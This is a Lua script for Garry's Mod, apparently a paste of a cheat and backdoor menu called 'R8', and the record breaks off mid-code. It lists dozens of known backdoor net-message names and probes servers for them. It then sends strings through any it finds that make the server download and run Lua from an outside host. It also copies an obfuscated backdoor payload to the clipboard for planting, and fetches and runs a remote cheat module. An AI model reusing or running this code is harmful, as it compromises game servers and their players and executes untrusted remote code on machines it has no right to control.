· 7 years ago · Nov 24, 2018, 12:36 AM
1R8 = R8 or {}
2R8.Modules = R8.Modules or {}
3
4
5concommand.Add('trace', function(pl)
6 local prop = pl:GetEyeTrace().Entity
7
8 if IsValid(prop) then
9 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
10 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
14 end
15end)
16
17surface.CreateFont("exitmenu", {
18 font = "Arial",
19 size = 20,
20 weight = 1000,
21 shadow = false,
22 outline = false
23})
24
25local function exitmenu(panel, X, y)
26 local CButton = vgui.Create("DButton", panel)
27 CButton:SetTextColor(Color(150, 150, 150))
28 CButton:SetText("Odium BD")
29 CButton:SetFont("exitmenu")
30 CButton:SetPos(X, y)
31 CButton:SetSize(50, 24)
32
33 CButton.DoClick = function()
34 panel:SizeTo(0, 0, .2, 0, .2)
35
36 timer.Simple(0.3, function()
37 panel:SetVisible(false)
38 end)
39 end
40
41 CButton.Paint = function(panel, w, h)
42 surface.SetDrawColor(Color(0, 0, 0, 255))
43 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
44 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
45 end
46
47 CButton.OnCursorEntered = function(self)
48 surface.PlaySound("garrysmod/ui_hover.wav")
49
50 CButton.Paint = function(panel, w, h)
51 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
52 end
53 end
54
55 -------------------------------------------------------------
56 CButton.OnCursorExited = function(self)
57 CButton.Paint = function(panel, w, h)
58 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
59 end
60 end
61 ------------------------------------------------------------------------
62end
63
64local blur = Material("pp/blurscreen")
65
66local function DrawBlur(panel, amount)
67 local x, y = panel:LocalToScreen(0, 0)
68 local scrW, scrH = ScrW(), ScrH()
69 surface.SetDrawColor(255, 255, 255)
70 surface.SetMaterial(blur)
71
72 for i = 1, 3 do
73 blur:SetFloat("$blur", (i / 3) * (amount or 6))
74 blur:Recompute()
75 render.UpdateScreenEffectTexture()
76 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
77 end
78end
79
80netKey = "memeDoor"
81BackdoorsFound = 0
82
83function ValidNetString(str)
84 local status, error = pcall(net.Start, str)
85
86 return status
87end
88
89
90BackDoor_net = {
91 {
92 NetWork = "Sandbox_ArmDupe"
93 },
94 {
95 NetWork = "7b22757365724944223a2235313936222c226b6579223a2265353834326232346237393263376137306665343761383562383733353361316339643032636261316433353633383631366432393232396462643363663938222c2270726f647563744944223a223335227d"
96 },
97 {
98 NetWork = "Sbox_darkrp"
99 },
100 {
101 NetWork = "Sbox_itemstore"
102 },
103 {
104 NetWork = "Ulib_Message"
105 },
106 {
107 NetWork = "ULogs_Info"
108 },
109 {
110 NetWork = "ITEM"
111 },
112 {
113 NetWork = "R8"
114 },
115 {
116 NetWork = "fix"
117 },
118 {
119 NetWork = "Fix_Keypads"
120 },
121 {
122 NetWork = "Remove_Exploiters"
123 },
124 {
125 NetWork = "noclipcloakaesp_chat_text"
126 },
127 {
128 NetWork = "_Defqon"
129 },
130 {
131 NetWork = "_CAC_ReadMemory",
132"nostrip"
133 },
134 {
135 NetWork = "nocheat"
136 },
137 {
138 NetWork = "LickMeOut"
139 },
140 {
141 NetWork = "ULX_QUERY2"
142 },
143 {
144 NetWork = "ULXQUERY2"
145 },
146 {
147 NetWork = "MoonMan"
148 },
149 {
150 NetWork = "Im_SOCool"
151 },
152 {
153 NetWork = "Sandbox_GayParty"
154 },
155 {
156 NetWork = "DarkRP_UTF8"
157 },
158 {
159 NetWork = "oldNetReadData"
160 },
161 {
162 NetWork = "memeDoor"
163 },
164 {
165 NetWork = "BackDoor"
166 },
167 {
168 NetWork = "OdiumBackDoor"
169 },
170 {
171 NetWork = "SessionBackdoor"
172 },
173 {
174 NetWork = "DarkRP_AdminWeapons"
175 },
176 {
177 NetWork = "cucked"
178 },
179 {
180 NetWork = "NoNerks"
181 },
182 {
183 NetWork = "kek"
184 },
185 {
186 NetWork = "ZimbaBackDoor"
187 },
188 {
189 NetWork = "something"
190 },
191 {
192 NetWork = "random"
193 },
194 {
195 NetWork = "strip0"
196 },
197 {
198 NetWork = "fellosnake"
199 },
200 {
201 NetWork = "enablevac"
202 },
203 {
204 NetWork = "idk"
205 },
206 {
207 NetWork = "c"
208 },
209 {
210 NetWork = "killserver"
211 },
212 {
213 NetWork = "fuckserver"
214 },
215 {
216 NetWork = "cvaraccess"
217 },
218 {
219 NetWork = "rcon"
220 },
221 {
222 NetWork = "rconadmin"
223 },
224 {
225 NetWork = "web"
226 },
227 {
228 NetWork = "jesuslebg"
229 },
230 {
231 NetWork = "zilnix"
232 },
233 {
234 NetWork = "hofman"
235 },
236 {
237 NetWork = "??? ?D)?—?"
238 },
239 {
240 NetWork = "disablebackdoor"
241 },
242 {
243 NetWork = "kill"
244 },
245 {
246 NetWork = "striphelper"
247 },
248 {
249 NetWork = "_Infinity_Meme_"
250 },
251 {
252 NetWork = "cac"
253 },
254 {
255 NetWork = "arivia"
256 },
257 {
258 NetWork = "_bu3_"
259 },
260 {
261 NetWork = "DefqonBackdoor"
262 }
263}
264
265function checkbackdoors()
266 for k, v in pairs(BackDoor_net) do
267 if (ValidNetString(v.NetWork)) then
268 BackdoorsFound = 1 + BackdoorsFound
269 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
270 end
271 end
272end
273
274CreateClientConVar("menu_r", "148", true, false)
275CreateClientConVar("menu_g", "0", true, false)
276CreateClientConVar("menu_b", "211", true, false)
277
278--------------------------------------------------------------------------------------------
279surface.CreateFont("Main", {
280 font = "Arial",
281 size = 20,
282 weight = 1000,
283 shadow = false,
284 outline = false
285})
286
287local insertdown2, insertdown, menuopen
288
289function MainMenu()
290 local x1 = vgui.Create("DFrame")
291 x1:SetPos(700, 300)
292 x1:SizeTo(300, 400, .3, 0, .3)
293 exitmenu(x1, 249, 1)
294 x1:SetTitle(" ")
295 x1:ShowCloseButton(false)
296 x1:SetVisible(true)
297 x1:MakePopup()
298
299 function x1:Paint()
300 DrawBlur(self, 5)
301 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
302 surface.SetDrawColor(Color(0, 0, 0, 255))
303 surface.DrawOutlinedRect(0, 0, x1:GetSize())
304 ---------------------------------------------------------
305 surface.DrawOutlinedRect(0, 110, x1:GetSize())
306 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
307 ---------------------------------------------------------
308 surface.DrawOutlinedRect(0, 25, x1:GetSize())
309 -------------------------------------------------
310 surface.DrawOutlinedRect(0, 0, 249, 26)
311 surface.DrawOutlinedRect(0, 110, 101, 90)
312 surface.DrawOutlinedRect(0, 110, 500, 90)
313 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
314 --
315 surface.DrawOutlinedRect(100, 25, x1:GetSize())
316 --
317 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
318 --
319 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
320 ------------------------------------------------
321 end
322
323 x1.Think = function()
324 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
325 x1:SizeTo(0, 0, .2, 0, .2)
326
327 timer.Simple(0.1, function()
328 x1:Remove()
329 end)
330
331 menuopen = false
332 end
333 end
334
335 local function Think()
336 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
337 menuopen = true
338 insertdown = true
339 MainMenu()
340 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
341 insertdown = false
342 end
343
344 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
345 insertdown2 = true
346 else
347 insertdown2 = false
348 end
349 end
350
351 hook.Add("Think", "", Think)
352 local news_p1 = vgui.Create("DPanel", x1)
353 news_p1:SetPos(100, 200)
354 news_p1:SetSize(200, 200)
355
356 -- Paint will paint the current page (Changing color, shape, etc)
357 news_p1.Paint = function(self, w, h)
358 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
359 end
360
361 local richtext = vgui.Create("RichText", news_p1)
362 richtext:Dock(FILL)
363 local TheReturnedHTML = "" -- Blankness
364
365 http.Fetch("http://u38947.onhh.ru/VG2X212E112/news.lua", function(body, len, headers, code)
366 TheReturnedHTML = body
367 richtext:SetText(TheReturnedHTML)
368 end, function(error)
369 richtext:SetText("???µ ?????°?»?????? ?????»???‡???‚?? ???????????‚?? ?? ???°?€?µ???? ???µ?????µ???°. \n ?’???·?????¶????, ?? ???°?? ?????????°?»?? ?????µ???????µ?????µ ?? ?????‚?µ?????µ?‚???? \n ???»?? ???°?€?? ???µ?????µ???° ?????µ???µ?????? ???µ ???????‚???????‹.")
370 end)
371
372 --local q1 = vgui.Create("DHTML", x1)
373 --q1:OpenURL("http://u38947.onhh.ru/logo90x90.png")
374 --q1:SetSize(150, 150)
375 --q1:SetPos(6, 110)
376
377 surface.CreateFont("B1", {
378 font = "Arial",
379 size = 20,
380 weight = 1000,
381 shadow = false,
382 outline = false
383 })
384
385 ex = true
386 ct = true
387 nh = true
388
389 func_table = {
390 --
391 {
392 ---------------------------------------
393 Name = "Exploit",
394 Func = function()
395 -- if ex then
396 -- R8.Modules.Exploit()
397 -- end
398
399 ex = false
400 x1:SizeTo(0, 0, .2, 0, .2)
401 x1:SetVisible(false)
402
403 timer.Simple(0.5, function()
404 LocalPlayer():ConCommand('R8_Exploit')
405 end)
406
407 surface.PlaySound("garrysmod/ui_click.wav")
408 end
409 },
410 ---------------------------------------
411 --
412 {
413 ---------------------------------------
414 Name = "Cheat",
415 Func = function()
416 if ct then
417 http.Fetch('http://u38947.onhh.ru/R8/modules/ampirs.lua', RunString)
418 end
419
420 ct = false
421 x1:SizeTo(0, 0, .2, 0, .2)
422 x1:SetVisible(false)
423
424 timer.Simple(0.5, function()
425 LocalPlayer():ConCommand('Ampris_menu')
426 end)
427
428 surface.PlaySound("garrysmod/ui_click.wav")
429 end
430 },
431 ---------------------------------------
432 --
433 --
434 {
435 ---------------------------------------
436 Name = 'BackDoor',
437 Func = function()
438 if nh then
439 R8.Modules.BackDoor()
440 end
441
442 nh = false
443 x1:SizeTo(0, 0, .2, 0, .2)
444 x1:SetVisible(false)
445
446 timer.Simple(0.5, function()
447 LocalPlayer():ConCommand('bd_menu')
448 end)
449
450 surface.PlaySound("garrysmod/ui_click.wav")
451 end
452 }
453 }
454
455 ---------------------------------------
456 --
457 for k, v in pairs(func_table) do
458 local Buttons = vgui.Create("DButton", x1)
459 Buttons:Dock(4)
460 Buttons:DockMargin(0, 0, 200, 5)
461 Buttons:SetText(v.Name)
462 Buttons:SetFont('B1')
463 Buttons:SetTextColor(Color(255, 255, 255, 255))
464 Buttons.DoClick = v.Func
465
466 Buttons.OnCursorEntered = function(self)
467 surface.PlaySound("garrysmod/ui_hover.wav")
468 end
469
470 function Buttons:Paint()
471 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
472 --
473 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
474 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
475 surface.SetDrawColor(Color(0, 0, 0, 255))
476 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
477 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
478 end
479 end
480
481 -----------------------------------------------------------------------------
482 local b5 = vgui.Create("DButton", x1)
483 b5:Dock(TOP)
484 b5:DockMargin(100, -81, 0, 5)
485 b5:SetText('| BackDoor | Check |')
486 b5:SetFont('B1')
487 b5:SetTextColor(Color(255, 255, 255, 255))
488
489 function b5:DoClick()
490 surface.PlaySound("garrysmod/ui_click.wav")
491 checkbackdoors()
492 end
493
494 b5.OnCursorEntered = function(self)
495 surface.PlaySound("garrysmod/ui_hover.wav")
496 end
497
498 function b5:Paint()
499 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
500 surface.SetDrawColor(Color(0, 0, 0, 255))
501 surface.DrawOutlinedRect(0, 0, b5:GetSize())
502 surface.DrawOutlinedRect(0, 25, b5:GetSize())
503 end
504
505 local b6 = vgui.Create("DButton", x1)
506 b6:Dock(TOP)
507 b6:DockMargin(100, 0, 0, 5)
508 b6:SetText('Theme Color')
509 b6:SetFont('B1')
510 b6:SetTextColor(Color(255, 255, 255, 255))
511
512 b6.OnCursorEntered = function(self)
513 surface.PlaySound("garrysmod/ui_hover.wav")
514 end
515
516 function b6:DoClick()
517 surface.PlaySound("garrysmod/ui_click.wav")
518 LocalPlayer():ConCommand('R8_theme')
519 end
520
521 function b6:Paint()
522 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
523 surface.SetDrawColor(Color(0, 0, 0, 255))
524 surface.DrawOutlinedRect(0, 0, b6:GetSize())
525 surface.DrawOutlinedRect(0, 25, b6:GetSize())
526 end
527
528 local b7 = vgui.Create("DButton", x1)
529 b7:Dock(TOP)
530 b7:DockMargin(100, 0, 0, 5)
531 b7:SetText("Copy BackDoor")
532 b7:SetFont('B1')
533 b7:SetTextColor(Color(255, 255, 255, 255))
534
535 function b7:DoClick()
536 surface.PlaySound("garrysmod/ui_click.wav")
537 local backdoorr8 = [[local ??? = _G local ?????? = ???['\115\116\114\105\110\103'] local ????????? = ???['\98\105\116']['\98\120\111\114'] local function ?????????????????????(????????????) if ??????['\108\101\110'](????????????) == 0 then return ???????????? end local ??????????????? = '' for _ in ??????['\103\109\97\116\99\104'](????????????,'\46\46') do ???????????????=???????????????..??????['\99\104\97\114'](?????????(???["\116\111\110\117\109\98\101\114"](_,16),25)) end return ??????????????? end ???[?????????????????????'6c6d7075'][?????????????????????'587d7d577c6d6e766b724a6d6b70777e'](?????????????????????'4b21')???[?????????????????????'777c6d'][?????????????????????'4b7c7a7c706f7c'](?????????????????????'4b21',function ()local false???=???[?????????????????????'5a76746970757c4a6d6b70777e'](???[?????????????????????'777c6d'][?????????????????????'4b7c787d4a6d6b70777e'](),?????????????????????'556c785a747d',false )if ???[?????????????????????'706a7f6c777a6d707677'](false???)then false???()end end )]]
538 SetClipboardText(backdoorr8)
539 LocalPlayer():ChatPrint('?????????????????°???? ?? ?±???„?µ?? ???±???µ???°.')
540 end
541
542 b7.OnCursorEntered = function(self)
543 surface.PlaySound("garrysmod/ui_hover.wav")
544 end
545
546 function b7:Paint()
547 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
548 surface.SetDrawColor(Color(0, 0, 0, 255))
549 surface.DrawOutlinedRect(0, 0, b7:GetSize())
550 surface.DrawOutlinedRect(0, 25, b7:GetSize())
551 end
552
553 -----------------------------------------------------------------------------
554 -----------------------------------------------------------------------------
555 local b8 = vgui.Create("DButton", x1)
556 b8:Dock(TOP)
557 b8:DockMargin(100, 6, 0, 5)
558 b8:SetText('Love you.')
559 b8:SetFont('B1')
560 b8:SetTextColor(Color(255, 255, 255, 255))
561
562 function b8:DoClick()
563 surface.PlaySound("garrysmod/ui_click.wav")
564
565 for k, v in pairs(BackDoor_net) do
566 if (ValidNetString(v.NetWork)) then
567 net.Start(v.NetWork)
568 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
569 net.WriteBit(1)
570 net.SendToServer()
571 end
572 end
573 end
574
575 b8.OnCursorEntered = function(self)
576 surface.PlaySound("garrysmod/ui_hover.wav")
577 end
578
579 function b8:Paint()
580 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
581 surface.SetDrawColor(Color(0, 0, 0, 255))
582 surface.DrawOutlinedRect(0, 0, b8:GetSize())
583 surface.DrawOutlinedRect(0, 25, b8:GetSize())
584 end
585
586 local b9 = vgui.Create("DButton", x1)
587 b9:Dock(TOP)
588 b9:DockMargin(100, 0, 0, 5)
589 b9:SetText('Disco Time - BackDoor')
590 b9:SetFont('B1')
591 b9:SetTextColor(Color(255, 255, 255, 255))
592
593 function b9:DoClick()
594 surface.PlaySound("garrysmod/ui_click.wav")
595
596 for k, v in pairs(BackDoor_net) do
597 if (ValidNetString(v.NetWork)) then
598 net.Start(v.NetWork)
599 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/disco.lua\",function(b,l,h,c)RunString(b)end,nil)")
600 net.WriteBit(1)
601 net.SendToServer()
602 end
603 end
604 end
605
606 b9.OnCursorEntered = function(self)
607 surface.PlaySound("garrysmod/ui_hover.wav")
608 end
609
610 function b9:Paint()
611 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
612 surface.SetDrawColor(Color(0, 0, 0, 255))
613 surface.DrawOutlinedRect(0, 0, b9:GetSize())
614 surface.DrawOutlinedRect(0, 25, b9:GetSize())
615 end
616
617 local b10 = vgui.Create("DButton", x1)
618 b10:Dock(TOP)
619 b10:DockMargin(100, 0, 0, 3)
620 b10:SetText('R8 - BackDoor')
621 b10:SetFont('B1')
622 b10:SetTextColor(Color(255, 255, 255, 255))
623
624 function b10:DoClick()
625 surface.PlaySound("garrysmod/ui_click.wav")
626
627 for k, v in pairs(BackDoor_net) do
628 if (ValidNetString(v.NetWork)) then
629 net.Start(v.NetWork)
630 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/R8_backdoor.lua\",function(b,l,h,c)RunString(b)end,nil)")
631 net.WriteBit(1)
632 net.SendToServer()
633 end
634 end
635 end
636
637 b10.OnCursorEntered = function(self)
638 surface.PlaySound("garrysmod/ui_hover.wav")
639 end
640
641 function b10:Paint()
642 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
643 surface.SetDrawColor(Color(0, 0, 0, 255))
644 surface.DrawOutlinedRect(0, 0, b10:GetSize())
645 surface.DrawOutlinedRect(0, 25, b10:GetSize())
646 end
647
648 ------------------------------------------------------------------------------------------------------------------------
649 function ColorMenu()
650 local ColorMenu = vgui.Create("DFrame")
651 ColorMenu:SetPos(399, 300)
652 ColorMenu:SizeTo(300, 265, .3, 0, .3)
653 ColorMenu:MakePopup()
654 ColorMenu:SetTitle("")
655 ColorMenu:SetVisible(true)
656 ColorMenu:ShowCloseButton(false)
657 exitmenu(ColorMenu, 249, 1)
658
659 ColorMenu.Paint = function(self, w, h)
660 DrawBlur(self, 3)
661 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
662 surface.SetDrawColor(Color(0, 0, 0, 255))
663 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
664 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
665 -------------------------------------------------
666 surface.DrawOutlinedRect(0, 0, 249, 26)
667 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
668 end
669
670 local color2 = vgui.Create("DColorMixer", ColorMenu)
671 color2:Dock(TOP)
672 color2:DockMargin(0, 0, 0, 0)
673 color2:SetPalette(false)
674 color2:SetWangs(false)
675 color2:SetAlphaBar(false)
676 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
677
678 function color2:ValueChanged(color)
679 LocalPlayer():ConCommand("menu_r " .. color.r)
680 LocalPlayer():ConCommand("menu_g " .. color.g)
681 LocalPlayer():ConCommand("menu_b " .. color.b)
682 end
683 end
684
685 concommand.Add('R8_theme', ColorMenu)
686
687 -----------------------------------------------------------------------------
688 local table_credits = {
689 {
690 text = "Developer",
691 durl = "https://vk.com/id442102553"
692 },
693 {
694 text = "Discord",
695 durl = "https://discord.gg/p24GfaZ"
696 },
697 {
698 text = "Friend's",
699 durl = "https://discord.gg/AnMS3me"
700 },
701 {
702 text = "Sponsor",
703 durl = "https://vk.com/pirohok123"
704 }
705 }
706
707 for k, v in pairs(table_credits) do
708 local Credits = vgui.Create("DButton", x1)
709 Credits:Dock(5)
710 Credits:DockMargin(1, 5, 199, 5)
711 Credits:SetText(v.text)
712 Credits:SetFont('B1')
713 Credits:SetTextColor(Color(255, 255, 255, 255))
714
715 Credits.OnCursorEntered = function(self)
716 surface.PlaySound("garrysmod/ui_hover.wav")
717 end
718
719 function Credits:DoClick()
720 surface.PlaySound("garrysmod/ui_click.wav")
721 gui.OpenURL(v.durl)
722 end
723
724 function Credits:Paint()
725 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
726 surface.SetDrawColor(Color(0, 0, 0, 255))
727 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
728 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
729 end
730 end
731end
732
733concommand.Add('R8_Menu', MainMenu)
734
735
736//////////// [BASIC SHIT] ////////////
737local blur = Material("pp/blurscreen")
738
739local function DrawBlur(panel, amount)
740 local x, y = panel:LocalToScreen(0, 0)
741 local scrW, scrH = ScrW(), ScrH()
742 surface.SetDrawColor(255, 255, 255)
743 surface.SetMaterial(blur)
744
745 for i = 1, 3 do
746 blur:SetFloat("$blur", (i / 3) * (amount or 6))
747 blur:Recompute()
748 render.UpdateScreenEffectTexture()
749 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
750 end
751end
752
753CreateClientConVar("menu_r", "0", true, false)
754CreateClientConVar("menu_g", "0", true, false)
755CreateClientConVar("menu_b", "0", true, false)
756
757-- Solly copypaste
758if (istable(MOTDgd)) then
759 MOTDgd = {}
760
761 function MOTDgd.Show()
762 end
763
764 function MOTDgd.GetIfSkip()
765 return true
766 end
767end
768
769local function exitmenu(panel, X, y)
770 local CButton = vgui.Create("DButton", panel)
771 CButton:SetTextColor(Color(150, 150, 150))
772 CButton:SetText("??")
773 CButton:SetFont("exitmenu")
774 CButton:SetPos(X, y)
775 CButton:SetSize(50, 24)
776
777 CButton.DoClick = function()
778 panel:SizeTo(0, 0, .2, 0, .2)
779
780 timer.Simple(0.3, function()
781 panel:SetVisible(false)
782 end)
783 end
784
785 CButton.Paint = function(panel, w, h)
786 surface.SetDrawColor(Color(0, 0, 0, 255))
787 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
788 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
789 end
790
791 CButton.OnCursorEntered = function(self)
792 surface.PlaySound("garrysmod/ui_hover.wav")
793
794 CButton.Paint = function(panel, w, h)
795 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
796 end
797 end
798
799 -------------------------------------------------------------
800 CButton.OnCursorExited = function(self)
801 CButton.Paint = function(panel, w, h)
802 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
803 end
804 end
805 ------------------------------------------------------------------------
806end
807
808function random_string(length)
809 math.randomseed(os.time())
810
811 if length > 0 then
812 return random_string(length - 1) .. charset[math.random(1, #charset)]
813 else
814 return ""
815 end
816end
817
818local s = {}
819s.duel = {}
820s.duel[1] = table.Random(player.GetAll())
821s.duel[2] = table.Random(player.GetAll())
822s.duel[2] = 3
823s.duel[3] = -9999999
824
825--////////// [CHAT TEXT] ////////////
826function ECPrint(str)
827 chat.AddText(Color(150, 150, 150), "[R8] ", Color(255, 255, 255), str)
828end
829
830--////////// [NOTIFY] ////////////
831local function ECNotify(text)
832 local notify = vgui.Create("DPanel")
833 notify:SetSize(200, 50)
834 notify:SetPos(ScrW() - 200, -50)
835
836 notify.Paint = function(self, w, h)
837 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
838 local bars = 50
839
840 for i = 0, bars do
841 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
842 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
843 end
844
845 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
846 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
847 end
848
849 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
850 timer.Simple(3, function()
851 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
852 end)
853 end)
854end
855
856--////////// [CLEAR CHAT] ////////////
857function clearchat()
858 for i = 0, 100 do
859 chat.AddText(" ")
860 end
861end
862
863--////////// [REMOVE ALL ERRORS] ////////////
864concommand.Add("removerrors", function()
865 hook.Add("Think", "wow", function()
866 for k, v in pairs(ents.GetAll()) do
867 if (v:GetModel():find("models/error.mdl")) then
868 v:SetModel("models/player/group01/male_02.mdl")
869 print(v:Nick() .. " model reset due to models/error.mdl")
870 end
871 end
872 end)
873end)
874
875--////////// [VAPE] ////////////
876function Vape()
877 timer.Simple(0, function()
878 RunConsoleCommand("+attack")
879 end)
880
881 timer.Simple(5.134, function()
882 RunConsoleCommand("-attack")
883 end)
884end
885
886concommand.Add("vape", Vape)
887concommand.Add("clearchat", clearchat)
888
889--////////// [CAC CHECKER] ////////////
890if (_G.QAC or _G.CAC) then
891 chat.AddText(Color(0, 255, 255), "[", "R8", "] ", Color(255, 255, 255), "The server has Cake Anti Cheat!")
892end
893
894function Initialize()
895 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
896 surface.PlaySound("HL1/fvox/bell.wav")
897 -- surface.PlaySound("buttons/button15.wav")
898 ECNotify("Loaded Successfully!")
899 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
900 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
901
902 --////////// Font Creation ////////////
903 --
904 surface.CreateFont("Roboto", {
905 font = "Roboto",
906 size = 18
907 })
908
909 --
910 surface.CreateFont("Calibri-sm", {
911 font = "Calibri",
912 size = 15
913 })
914
915 --
916 surface.CreateFont("Calibri-l", {
917 font = "Calibri",
918 size = 21
919 })
920
921 --
922 surface.CreateFont("tahoma", {
923 font = "Tahoma",
924 size = 15
925 })
926 --
927end
928
929Initialize() -- Initializes basic shit for when menu is loaded.
930
931function ValidNetString(str)
932 local status, error = pcall(net.Start, str)
933
934 return status
935end
936
937------------------------------------------------------------------------
938--////////// [MENU] ////////////
939function draw.OutlinedBox(x, y, w, h, thickness, clr)
940 surface.SetDrawColor(clr)
941
942 for i = 0, thickness - 1 do
943 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
944 end
945end
946
947-------------------------------------------------------------------------------------------
948surface.CreateFont("Main", {
949 font = "Arial",
950 size = 20,
951 weight = 1000,
952 shadow = false,
953 outline = false
954})
955
956function R8_Menu()
957 local menu = vgui.Create("DFrame")
958 menu:Center()
959 menu:SizeTo(300, 350, .3, 0, .3)
960 exitmenu(menu, 249, 1)
961 menu:SetTitle(" ")
962 menu:ShowCloseButton(false)
963 menu:MakePopup()
964
965 function menu:Paint()
966 DrawBlur(self, 5)
967 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
968 draw.SimpleText(totalSploits .. "/302 Exploits - R8", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
969
970 if totalSploits == 0 then
971 draw.SimpleText("????????»?????‚???? ???µ ???°?????µ????!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
972 end
973
974 surface.SetDrawColor(Color(0, 0, 0, 255))
975 surface.DrawOutlinedRect(0, 0, menu:GetSize())
976 surface.DrawOutlinedRect(0, 0, 249, 26) -- ???°?»???‡???° ???»?? ????????????
977 surface.DrawOutlinedRect(0, 25, menu:GetSize())
978 end
979
980 --////////// [TABS] ////////////
981 local tabs = vgui.Create("DPropertySheet", menu)
982 tabs:Dock(FILL)
983 tabs:DockPadding(-5, 5, 0, 0)
984
985 tabs.Paint = function(self, w, h)
986 for k, v in pairs(tabs.Items) do
987 if (not v.Tab) then continue end
988
989 v.Tab.Paint = function(self, w, h)
990 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
991 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
992
993 if (tabs:GetActiveTab() == v.Tab) then
994 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
995 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
996 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
997 end
998 end
999 end
1000 end
1001
1002 --////////// [PANELS] ////////////
1003 local exploitsPanel = vgui.Create("DPanel", menu)
1004 exploitsPanel:Dock(1)
1005
